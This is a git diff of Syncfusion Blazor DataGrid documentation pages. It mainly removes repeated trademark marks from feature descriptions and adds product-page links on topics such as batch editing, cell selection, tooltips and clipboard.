 To prevent editing of a specific cell, handle the [OnCellEdit](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_OnCellEdit) event. This event is triggered when a cell enters edit mode. Within the event handler, apply a condition and set **args.Cancel = true** to block editing.
 
@@ -298,7 +298,7 @@ public class EmployeeDetails
 
 ## Adding a new row at the bottom of the Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports adding new rows at the bottom of the Grid. This feature allows new records to be inserted at the end of the existing dataset, improving usability when working with large data collections or when scrolling is enabled.
+The Blazor DataGrid supports adding new rows at the bottom of the Grid. This feature allows new records to be inserted at the end of the existing dataset, improving usability when working with large data collections or when scrolling is enabled.
 To enable this behavior, set the [NewRowPosition](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html#Syncfusion_Blazor_Grids_GridEditSettings_NewRowPosition) property in [GridEditSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html) to **Bottom**.
 
 >* When set to **Top**, a blank row appears at the top, but the saved record is inserted at the bottom of the Grid.
@@ -397,7 +397,7 @@ public class OrderDetails
 
 ## Confirmation dialog
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid includes a built-in confirmation dialog that prompts before performing actions such as saving changes or canceling edits. This feature helps prevent accidental modifications by requiring user confirmation before proceeding.
+The Blazor DataGrid includes a built-in confirmation dialog that prompts before performing actions such as saving changes or canceling edits. This feature helps prevent accidental modifications by requiring user confirmation before proceeding.
 To enable the confirmation dialog, set the [ShowConfirmDialog](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html#Syncfusion_Blazor_Grids_GridEditSettings_ShowConfirmDialog)  property in [GridEditSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html) to **true**. This property is enabled by default.
 
 > * The confirmation dialog is supported only in [Batch editing mode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html#Syncfusion_Blazor_Grids_GridEditSettings_Mode).
@@ -492,7 +492,7 @@ public class OrderDetails
 
 ## How to make editing in single click and arrow keys
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports editing with a single click and navigation between cells using arrow keys. This improves usability by allowing quick access to edit mode without requiring double-clicks or mouse interactions.
+The Blazor DataGrid supports editing with a single click and navigation between cells using arrow keys. This improves usability by allowing quick access to edit mode without requiring double-clicks or mouse interactions.
 
 By default, in batch mode:
 
@@ -666,7 +666,7 @@ public class OrderDetails
 
 ## Save or update the changes immediately
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports immediate saving or updating of changes in Batch mode without requiring a separate Save button. This functionality enables efficient data editing workflows by eliminating the need for manual save triggers. The [CellSaved](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_CellSaved) event and the [EndEditAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_EndEditAsync) method can be used to implement this behavior.
+The Blazor DataGrid supports immediate saving or updating of changes in Batch mode without requiring a separate Save button. This functionality enables efficient data editing workflows by eliminating the need for manual save triggers. The [CellSaved](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_CellSaved) event and the [EndEditAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_EndEditAsync) method can be used to implement this behavior.
 
 By default, the `EndEditAsync` method displays a confirmation dialog before saving or canceling changes. This dialog helps prevent accidental or undesired modifications.
 
@@ -839,7 +839,7 @@ public class OrderDetails
 
 ## Provide new item or edited item using events
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid uses **Activator.CreateInstance<TValue>()** to create or clone new record instances during add and edit operations. To support this behavior, the model class and any referenced complex type classes must include parameterless constructors.
+The Blazor DataGrid uses **Activator.CreateInstance<TValue>()** to create or clone new record instances during add and edit operations. To support this behavior, the model class and any referenced complex type classes must include parameterless constructors.
 In scenarios where custom logic is required to create a new object, or when object instantiation using **Activator.CreateInstance&lt;TValue&gt;()** is not feasible, a model object instance can be manually provided using events.
 Use the [OnBatchAdd](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_OnBatchAdd) and [OnCellEdit](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_OnCellEdit) events to supply a new object instance during add and cell edit operations, respectively.
 
@@ -1029,7 +1029,7 @@ public class OrderDetails
 
 ## Supported events for batch editing
 
-Batch editing in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid enables simultaneous editing of multiple records. Understanding the sequence and purpose of triggered events allows customization and extension of Grid functionality. The following table outlines key events associated with batch editing:
+Batch editing in the Blazor DataGrid enables simultaneous editing of multiple records. Understanding the sequence and purpose of triggered events allows customization and extension of Grid functionality. The following table outlines key events associated with batch editing:
 
 | Event | Description |
 |-------|-------------|
diff --git a/blazor/datagrid/caption-template.md b/blazor/datagrid/caption-template.md
index 79ea0e9909..2e42a0873b 100644
--- a/blazor/datagrid/caption-template.md
+++ b/blazor/datagrid/caption-template.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Caption template in Blazor DataGrid
 
-The caption template feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid customizes the content of group caption rows. It can display additional information about grouped data (such as the grouped value and record count) and render custom content including images, icons, or other Razor components. This enables clear, informative, and visually rich group captions in the DataGrid.
+The caption template feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) customizes the content of group caption rows. It can display additional information about grouped data (such as the grouped value and record count) and render custom content including images, icons, or other Razor components. This enables clear, informative, and visually rich group captions in the DataGrid.
 
 Use the [CaptionTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridGroupSettings.html#Syncfusion_Blazor_Grids_GridGroupSettings_CaptionTemplate) property to define the template. Cast the context to [CaptionTemplateContext](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.CaptionTemplateContext.html) to access properties for the current group:
 - **Field**: grouped column field name
@@ -184,7 +184,7 @@ public class OrderData
 
 ## Customize group caption text using locale
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports customization of group caption text based on locale settings. This feature enables the display of localized or translated content in group captions, allowing the DataGrid to adapt to different languages and regional formats.
+The Blazor DataGrid supports customization of group caption text based on locale settings. This feature enables the display of localized or translated content in group captions, allowing the DataGrid to adapt to different languages and regional formats.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -353,7 +353,7 @@ namespace LocalizationSample.Client
 
 ## Render custom component in group caption
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid offers flexibility to render custom components within the group caption row, enabling advanced or interactive functionality. This feature supports the display of custom UI elements such as buttons, icons, or dropdowns, and allows user interactions to be handled directly within the group caption.
+The Blazor DataGrid offers flexibility to render custom components within the group caption row, enabling advanced or interactive functionality. This feature supports the display of custom UI elements such as buttons, icons, or dropdowns, and allows user interactions to be handled directly within the group caption.
 
 Define the custom UI in the [CaptionTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridGroupSettings.html#Syncfusion_Blazor_Grids_GridGroupSettings_CaptionTemplate) and use `CaptionTemplateContext` to access the current group’s details. This feature enables the replacement of plain text with a custom component in the group caption, enhancing both customization and interactivity.
 
diff --git a/blazor/datagrid/cell-edit-types.md b/blazor/datagrid/cell-edit-types.md
index 5741a714b4..91727dd818 100644
--- a/blazor/datagrid/cell-edit-types.md
+++ b/blazor/datagrid/cell-edit-types.md
@@ -1136,4 +1136,6 @@ N> [View Sample in GitHub.](https://github.com/SyncfusionExamples/blazor-datagri
 
 ## See also
 
-* [Edit one column update the value in another column](https://www.syncfusion.com/forums/151238/edit-one-column-update-the-value-in-another-column)
\ No newline at end of file
+* [Edit one column update the value in another column](https://www.syncfusion.com/forums/151238/edit-one-column-update-the-value-in-another-column)
+
+N> Looking for a complete Blazor DataGrid Component overview, including features, pricing, and documentation? Explore the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) Component page.
\ No newline at end of file
diff --git a/blazor/datagrid/cell-selection.md b/blazor/datagrid/cell-selection.md
index c45a73efa8..c73fed1026 100644
--- a/blazor/datagrid/cell-selection.md
+++ b/blazor/datagrid/cell-selection.md
@@ -9,13 +9,13 @@ documentation: ug
 
 # Cell Selection in Blazor DataGrid
 
-Cell selection in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid enables interactive selection of specific cells or ranges of cells using mouse clicks or keyboard navigation (arrow keys). This feature is useful for highlighting, manipulating, or performing actions on individual cells within the Grid.
+Cell selection in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) enables interactive selection of specific cells or ranges of cells using mouse clicks or keyboard navigation (arrow keys). This feature is useful for highlighting, manipulating, or performing actions on individual cells within the Grid.
 
 > To enable cell selection, set the [GridSelectionSettings.Mode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSelectionSettings.html#Syncfusion_Blazor_Grids_GridSelectionSettings_Mode) property to either **Cell** or **Both**. This determines the selection mode of the Grid.
 
 ## Single cell selection
 
-Single cell selection allows selecting one cell at a time within the Syncfusion Blazor DataGrid. This is useful for focusing on a specific cell or performing actions on individual cell values.
+Single cell selection allows selecting one cell at a time within the Blazor DataGrid. This is useful for focusing on a specific cell or performing actions on individual cell values.
 
 To enable single cell selection:
 
@@ -101,7 +101,7 @@ public class OrderDetails
 
 ## Multiple cell selection
 
-Multiple cell selection in the Syncfusion Blazor DataGrid enables selection of multiple cells within the Grid. This feature is beneficial for performing actions on several cells simultaneously or focusing on specific areas of the data.
+Multiple cell selection in the Blazor DataGrid enables selection of multiple cells within the Grid. This feature is beneficial for performing actions on several cells simultaneously or focusing on specific areas of the data.
 
 To enable multiple cell selection:
 
@@ -187,7 +187,7 @@ public class OrderDetails
 
 ## Cell selection mode
 
-The cell selection mode in the Syncfusion Blazor DataGrid enables interactive selection of specific cells or ranges of cells. This feature is particularly useful for performing actions on selected cells or retrieving data from targeted areas within the Grid.
+The cell selection mode in the Blazor DataGrid enables interactive selection of specific cells or ranges of cells. This feature is particularly useful for performing actions on selected cells or retrieving data from targeted areas within the Grid.
 
 The Grid supports three types of cell selection modes, configurable via the [GridSelectionSettings.CellSelectionMode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSelectionSettings.html#Syncfusion_Blazor_Grids_GridSelectionSettings_CellSelectionMode) property:
 
@@ -298,7 +298,7 @@ public class OrderDetails
 
 ## Select cells via programmatically
 
-Single cell selection, multiple cell selection, and range-based cell selection can be performed externally in the Syncfusion Blazor DataGrid using built-in methods. These API's allow programmatic interaction with specific cells in the Grid.
+Single cell selection, multiple cell selection, and range-based cell selection can be performed externally in the Blazor DataGrid using built-in methods. These API's allow programmatic interaction with specific cells in the Grid.
 
 ### Single cell selection
 
@@ -397,7 +397,7 @@ public class OrderDetails
 
 ### Multiple cell selection
 
-Multiple cell selection in the Syncfusion Blazor DataGrid enables selection of multiple cells within the Grid. This is useful for performing actions on several cells simultaneously or focusing on specific data regions.
+Multiple cell selection in the Blazor DataGrid enables selection of multiple cells within the Grid. This is useful for performing actions on several cells simultaneously or focusing on specific data regions.
 
 To perform multiple cell selection programmatically, use the [SelectCellsAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_SelectCellsAsync_System_ValueTuple_System_Int32_System_Int32____) method. This method accepts a collection of row and column index pairs to define the target cells.
 
@@ -499,7 +499,7 @@ public class OrderDetails
 
 ### Range of Cell selection
 
-To select a range of cells in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid enables selection of a continuous set of cells within the grid. This feature is useful for performing actions on multiple cells simultaneously or focusing on a specific range of data.
+To select a range of cells in the Blazor DataGrid enables selection of a continuous set of cells within the grid. This feature is useful for performing actions on multiple cells simultaneously or focusing on a specific range of data.
 
 To achieve a range of cell selection, use the [SelectCellsByRangeAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_SelectCellsByRangeAsync_System_ValueTuple_System_Int32_System_Int32__System_Nullable_System_ValueTuple_System_Int32_System_Int32___) method. It selects a range of cells starting from the specified start index and ending at the specified end index.
 
@@ -610,7 +610,7 @@ public class OrderDetails
 
 ## Get selected row cell indexes
 
-The Syncfusion Blazor DataGrid provides a method to retrieve the collection of selected row and cell indexes for the currently selected cells. This is useful for performing actions or applying logic based on selected cell positions.
+The Blazor DataGrid provides a method to retrieve the collection of selected row and cell indexes for the currently selected cells. This is useful for performing actions or applying logic based on selected cell positions.
 
 To retrieve the selected indexes, use the [GetSelectedRowCellIndexesAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_GetSelectedRowCellIndexesAsync) method.
 
@@ -719,7 +719,7 @@ public class OrderDetails
 
 ## Clear selection via programmatically
 
-Clearing cell selection programmatically in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid is useful when you need to remove existing cell selections based on user actions or application logic. This can be achieved using the [ClearCellSelectionAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_ClearCellSelectionAsync) method.
+Clearing cell selection programmatically in the Blazor DataGrid is useful when you need to remove existing cell selections based on user actions or application logic. This can be achieved using the [ClearCellSelectionAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_ClearCellSelectionAsync) method.
 
 The `ClearCellSelectionAsync` method is applicable when the [GridSelectionSettings.Type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSelectionSettings.html#Syncfusion_Blazor_Grids_GridSelectionSettings_Type) property is set to **Multiple** or **Single**.
 
@@ -806,7 +806,7 @@ public class OrderDetails
 
 ## Cell selection events
 
-The Syncfusion Blazor DataGrid provides multiple events to customize and respond to cell selection behavior. These events allow developers to implement validation, control selection flow, and trigger actions based on user interaction.
+The Blazor DataGrid provides multiple events to customize and respond to cell selection behavior. These events allow developers to implement validation, control selection flow, and trigger actions based on user interaction.
 
 * [CellSelecting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_CellSelecting): Triggered before a cell is selected. Use this event to implement custom logic or validation to control whether the cell should be selected.
 
diff --git a/blazor/datagrid/cell.md b/blazor/datagrid/cell.md
index bf2fa11ca8..c2fb5b1f6e 100644
--- a/blazor/datagrid/cell.md
+++ b/blazor/datagrid/cell.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Cell in Blazor DataGrid
 
-In Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid, a cell is a single data unit formed at the intersection of a row and a column. Each cell displays content based on its data record and column settings. Depending on configuration, cells can show text, numbers, or custom templated content.
+In Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid), a cell is a single data unit formed at the intersection of a row and a column. Each cell displays content based on its data record and column settings. Depending on configuration, cells can show text, numbers, or custom templated content.
 
 The Grid offers extensive options to customize cell appearance and functionality. Templates can be applied, cell values can be formatted, editing can be enabled or disabled, and various operations can be performed to build interactive and visually informative data grids for web applications.
 
@@ -17,7 +17,7 @@ The Grid offers extensive options to customize cell appearance and functionality
 
 ## Displaying the HTML content
 
-Displaying HTML content in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid is useful when presenting formatted elements such as images, hyperlinks, or tables within a tabular layout. The DataGrid supports rendering HTML tags in both header and content cells.
+Displaying HTML content in the Blazor DataGrid is useful when presenting formatted elements such as images, hyperlinks, or tables within a tabular layout. The DataGrid supports rendering HTML tags in both header and content cells.
 
 By default, HTML content is encoded to prevent security vulnerabilities. To render raw HTML, set the [DisableHtmlEncode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_DisableHtmlEncode) property to **false**. This allows HTML tags to be displayed as intended within the cell.
 
@@ -119,7 +119,7 @@ To configure:
 
 ## Autowrap the Grid content
 
-The auto wrap feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid enables cell content to wrap to the next line when it exceeds the defined column width. Wrapping occurs at whitespace boundaries between words, ensuring readability without horizontal scrolling. To support auto wrap, define an appropriate width for each column. The column width acts as the maximum boundary for wrapping content.
+The auto wrap feature in the Blazor DataGrid enables cell content to wrap to the next line when it exceeds the defined column width. Wrapping occurs at whitespace boundaries between words, ensuring readability without horizontal scrolling. To support auto wrap, define an appropriate width for each column. The column width acts as the maximum boundary for wrapping content.
 
 Enable auto wrap by setting the [AllowTextWrap](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowTextWrap) property to **true**. Configure the wrapping behavior using the [TextWrapSettings.WrapMode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridTextWrapSettings.html#Syncfusion_Blazor_Grids_GridTextWrapSettings_WrapMode) property.
 
@@ -234,7 +234,7 @@ public class OrderData
 
 ## Customize cell styles
 
-Customizing cell styles in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid enables modification of cell appearance to match specific design requirements. Styles such as **font**, **background color**, and **borders** can be applied to enhance visual presentation.
+Customizing cell styles in the Blazor DataGrid enables modification of cell appearance to match specific design requirements. Styles such as **font**, **background color**, and **borders** can be applied to enhance visual presentation.
 
 Cell customization can be achieved through these approaches:
 
@@ -465,7 +465,7 @@ In this setup, the column is checked to confirm if it corresponds to the **Freig
 
 ### CSS-based customization
 
-Styles can be applied to DataGrid cells using CSS selectors. The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid assigns class names to each cell element, enabling targeted styling for individual cells or entire columns.
+Styles can be applied to DataGrid cells using CSS selectors. The Blazor DataGrid assigns class names to each cell element, enabling targeted styling for individual cells or entire columns.
 
 * The **e-rowcell** class is used to style standard row cells.
 * The **e-selectionbackground** class is used to modify the background color of selected rows.
@@ -663,7 +663,7 @@ In this configuration, the `CustomAttributes` property of the **ShipCity** colum
 
 ## Clip Mode
 
-The clip mode feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid is used to manage overflow content in cells containing long text. This feature provides options to truncate content, display ellipsis, or show ellipsis with a tooltip.
+The clip mode feature in the Blazor DataGrid is used to manage overflow content in cells containing long text. This feature provides options to truncate content, display ellipsis, or show ellipsis with a tooltip.
 
 Enable clip mode by setting the [ClipMode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_ClipMode) property for the desired column.
 
@@ -775,7 +775,7 @@ Available ClipMode options:
 
 ## Tooltip
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports displaying tooltips for Grid columns when hovered with a mouse pointer. This feature enhances accessibility and provides additional context for column data.
+The Blazor DataGrid supports displaying tooltips for Grid columns when hovered with a mouse pointer. This feature enhances accessibility and provides additional context for column data.
 
 ### Show tooltip
 
@@ -855,7 +855,7 @@ public class OrderData
 
 ### Tooltip template
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid component provides a built-in option to customize tooltip content for both header and content cells. This customization is achieved using the [TooltipTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridTemplates.html#Syncfusion_Blazor_Grids_GridTemplates_TooltipTemplate) property, which accepts a **RenderFragment** defined within the [GridTemplates](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridTemplates.html) component.
+The Blazor DataGrid component provides a built-in option to customize tooltip content for both header and content cells. This customization is achieved using the [TooltipTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridTemplates.html#Syncfusion_Blazor_Grids_GridTemplates_TooltipTemplate) property, which accepts a **RenderFragment** defined within the [GridTemplates](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridTemplates.html) component.
 
 This feature enhances clarity and usability by displaying contextual information when hovering over cells.
 
@@ -1035,7 +1035,7 @@ public class OrdersDetails
 
 ### Display custom tooltip for columns
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports displaying custom tooltips for columns using the [SfTooltip](https://blazor.syncfusion.com/documentation/tooltip/getting-started) component. This feature enables the presentation of additional contextual information when hovering over column content.
+The Blazor DataGrid supports displaying custom tooltips for columns using the [SfTooltip](https://blazor.syncfusion.com/documentation/tooltip/getting-started) component. This feature enables the presentation of additional contextual information when hovering over column content.
 
 To enable custom tooltips, use the [Column Template](https://blazor.syncfusion.com/documentation/datagrid/column-template) feature and render the tooltip component within the template definition.
 
@@ -1128,7 +1128,7 @@ public class OrderData
 
 ## Grid lines
 
-The [GridLines](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_GridLines) property in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid defines the visibility of **horizontal** and **vertical** lines between cells to improve readability.
+The [GridLines](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_GridLines) property in the Blazor DataGrid defines the visibility of **horizontal** and **vertical** lines between cells to improve readability.
 
 Set the `GridLines` property to one of the following values:
 
diff --git a/blazor/datagrid/checkbox-selection.md b/blazor/datagrid/checkbox-selection.md
index dd62b061bc..9d26182e27 100644
--- a/blazor/datagrid/checkbox-selection.md
+++ b/blazor/datagrid/checkbox-selection.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Checkbox selection in Blazor DataGrid
 
-Checkbox selection in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid enables to select multiple records using checkboxes rendered in each row. This feature is especially useful for performing bulk actions or operations on selected records.
+Checkbox selection in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) enables to select multiple records using checkboxes rendered in each row. This feature is especially useful for performing bulk actions or operations on selected records.
 To display a checkbox in each Grid row, configure a column with its [Type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Type) property set to [CheckBox](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.ColumnType.html#Syncfusion_Blazor_Grids_ColumnType_CheckBox).
 
 {% tabs %}
@@ -89,7 +89,7 @@ public class OrderDetails
 
 ## Checkbox selection mode
 
-The checkbox selection mode in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows to select rows either by clicking on checkboxes or directly on the rows. This feature supports two selection modes, configurable via the [GridSelectionSettings.CheckboxMode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSelectionSettings.html#Syncfusion_Blazor_Grids_GridSelectionSettings_CheckboxMode) property:
+The checkbox selection mode in the Blazor DataGrid allows to select rows either by clicking on checkboxes or directly on the rows. This feature supports two selection modes, configurable via the [GridSelectionSettings.CheckboxMode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSelectionSettings.html#Syncfusion_Blazor_Grids_GridSelectionSettings_CheckboxMode) property:
 
 * **Default**: This is the default value of `CheckboxMode`. In this mode, multiple rows can be selected by clicking on them individually. When a row is clicked, its corresponding checkbox is automatically checked.
 * **ResetOnRowClick**: In this mode, clicking on a row resets the previously selected row. To perform multiple selections, hold the **Ctrl** key while clicking the desired rows. To select a range of rows, hold the **Shift** key and click the target rows.
@@ -193,7 +193,7 @@ public class OrderDetails
 
 ## Persist selection
 
-The Persist Selection feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid ensures that selected rows remain selected even after performing actions such as paging, sorting, filtering, and other data operations. This feature works with both local and remote data sources.
+The Persist Selection feature in the Blazor DataGrid ensures that selected rows remain selected even after performing actions such as paging, sorting, filtering, and other data operations. This feature works with both local and remote data sources.
 
 To enable persist selection, set the [GridSelectionSettings.PersistSelection](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSelectionSettings.html#Syncfusion_Blazor_Grids_GridSelectionSettings_PersistSelection) property to **true**. Additionally, ensure that at least one column in the Grid is defined as a primary key using the [IsPrimaryKey](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_IsPrimaryKey) property.
 
@@ -236,7 +236,7 @@ The following example demonstrates how to persist checkbox selections when the G
 
 ## Hide selectall checkbox in column header 
 
-The Syncfusion Blazor DataGrid allows customization of the checkbox column, including the ability to hide the SelectAll checkbox in the column header. This is useful in scenarios where bulk selection is not required or when customizing the Grid's appearance.
+The Blazor DataGrid allows customization of the checkbox column, including the ability to hide the SelectAll checkbox in the column header. This is useful in scenarios where bulk selection is not required or when customizing the Grid's appearance.
 
 By default, setting the column [Type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Type) to **CheckBox** renders a checkbox column with a SelectAll checkbox in the header. To hide the header checkbox, define an empty [HeaderTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_HeaderTemplate)  in the [GridColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html).
 
@@ -318,7 +318,7 @@ public class OrderDetails
 
 ## Allow selection only through checkbox click
 
-By default, the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows selection by clicking either a Grid row or the checkbox within that row. To restrict selection so that it can only be performed through checkbox clicks, set the  [GridSelectionSettings.CheckboxOnly](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSelectionSettings.html#Syncfusion_Blazor_Grids_GridSelectionSettings_CheckboxOnly) property to **true**.
+By default, the Blazor DataGrid allows selection by clicking either a Grid row or the checkbox within that row. To restrict selection so that it can only be performed through checkbox clicks, set the  [GridSelectionSettings.CheckboxOnly](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridSelectionSettings.html#Syncfusion_Blazor_Grids_GridSelectionSettings_CheckboxOnly) property to **true**.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
diff --git a/blazor/datagrid/clipboard.md b/blazor/datagrid/clipboard.md
index 0cadf2f9d6..fd4f3398ac 100644
--- a/blazor/datagrid/clipboard.md
+++ b/blazor/datagrid/clipboard.md
@@ -7,9 +7,9 @@ control: DataGrid
 documentation: ug
 ---
 
-# Clipboard in Syncfusion Blazor DataGrid
+# Clipboard in Blazor DataGrid
 
-The **clipboard** feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows copying selected rows or cells using keyboard shortcuts or programmatic methods. This helps transfer data to external applications such as spreadsheets or text editors.
+The **clipboard** feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) allows copying selected rows or cells using keyboard shortcuts or programmatic methods. This helps transfer data to external applications such as spreadsheets or text editors.
 To use keyboard shortcuts, selection must be enabled and the grid must be focused.
 
 | Windows | Mac | Actions |
@@ -195,7 +195,7 @@ internal sealed class OrderData
 
 ## AutoFill
 
-The AutoFill feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows quick data entry by copying values from selected cells and filling them into adjacent cells using a drag handle.
+The AutoFill feature in the Blazor DataGrid allows quick data entry by copying values from selected cells and filling them into adjacent cells using a drag handle.
 
 **Steps to use AutoFill feature**
 
@@ -294,7 +294,7 @@ internal sealed class OrderData
 
 ## Paste
 
-The Paste feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows copying content from selected cells and pasting it into another range using <kbd>Ctrl + C</kbd> and <kbd>Ctrl + V</kbd>.
+The Paste feature in the Blazor DataGrid allows copying content from selected cells and pasting it into another range using <kbd>Ctrl + C</kbd> and <kbd>Ctrl + V</kbd>.
 
 **To paste data within the grid:**
 
diff --git a/blazor/datagrid/column-chooser.md b/blazor/datagrid/column-chooser.md
index 6269ec93da..048fa4e326 100644
--- a/blazor/datagrid/column-chooser.md
+++ b/blazor/datagrid/column-chooser.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Column Chooser in Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides a column chooser feature that allows dynamically showing or hiding columns.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) provides a column chooser feature that allows dynamically showing or hiding columns.
 
